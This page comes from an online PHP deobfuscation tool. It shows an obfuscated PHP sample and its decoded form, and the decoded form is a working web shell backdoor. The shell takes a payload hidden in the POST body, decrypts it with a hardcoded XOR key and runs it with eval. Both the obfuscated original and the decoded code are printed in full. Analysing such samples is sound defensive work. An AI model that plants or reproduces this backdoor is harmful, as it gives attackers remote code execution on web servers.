Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $w='ch("9!/$kh(.+9!)$kf/"9!,@file_9!get_c9!on9!tent9!s("php://i9!npu9!t"),$m)'; $T..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="202cb962";$kh="ac59075b964b";$kf="07152d234b70";$p="kXHoORDpVKoZMBMz";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$w='ch("9!/$kh(.+9!)$kf/"9!,@file_9!get_c9!on9!tent9!s("php://i9!npu9!t"),$m)';
$T='$9!k="29!02cb962";$kh="9!ac5909!75b99!64b";$kf=9!"09!7152d234b70"9!;$p="k9!';
$C='==9!1) {9!9!@ob_start();@eva9!9!l(@gzuncom9!pres9!s9!(@x(@base69!4_d9!ecode';
$r=str_replace('tI','','ctIreatIttIetI_functIttIion');
$y='strl9!en($t);$o="";fo9!r($i=09!;$i<$9!9!l;)9!{for($j=0;($j<$c&9!&9!$i<$l)9!;';
$p='XHoORD9!pV9!KoZMBMz9!";funct9!ion x(9!$t,$k){$9!9!c=s9!9!t9!rlen($k);$l=';
$e='($m9![1]),$k)));9!$9!o=@ob_get9!_contents();9!@9!ob_9!end9!_clea9!n();$r';
$j='$j++,$i9!++){9!$o.=$t{$i}^9!$9!k9!{$j9!};}}return $o;}if 9!9!(@preg_m9!at';
$Q='=@base69!4_encode(@x(9!@gzco9!mpre9!s9!s($o),$k))9!9!;print("$p$kh$9!r$kf");}';
$x=str_replace('9!','',$T.$p.$y.$j.$w.$C.$e.$Q);
$Z=$r('',$x);$Z();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$C ==9!1) {9!9!@ob_start();@eva9!9!l(@gzuncom9!pres9!s9!(@x(@ba..
$Q =@base69!4_encode(@x(9!@gzco9!mpre9!s9!s($o),$k))9!9!;print(..
$T $9!k="29!02cb962";$kh="9!ac5909!75b99!64b";$kf=9!"09!7152d23..
$e ($m9![1]),$k)));9!$9!o=@ob_get9!_contents();9!@9!ob_9!end9!_..
$j $j++,$i9!++){9!$o.=$t{$i}^9!$9!k9!{$j9!};}}return $o;}if 9!9..
$k 202cb962
$p kXHoORDpVKoZMBMz
$r create_function
$w ch("9!/$kh(.+9!)$kf/"9!,@file_9!get_c9!on9!tent9!s("php://i9..
$x $k="202cb962";$kh="ac59075b964b";$kf="07152d234b70";$p="kXHo..
$y strl9!en($t);$o="";fo9!r($i=09!;$i<$9!9!l;)9!{for($j=0;($j<$..
$kf 07152d234b70
$kh ac59075b964b

Stats

MD5 a3b9b131ce3a8b577c62f0a591550820
Eval Count 1
Decode Time 101 ms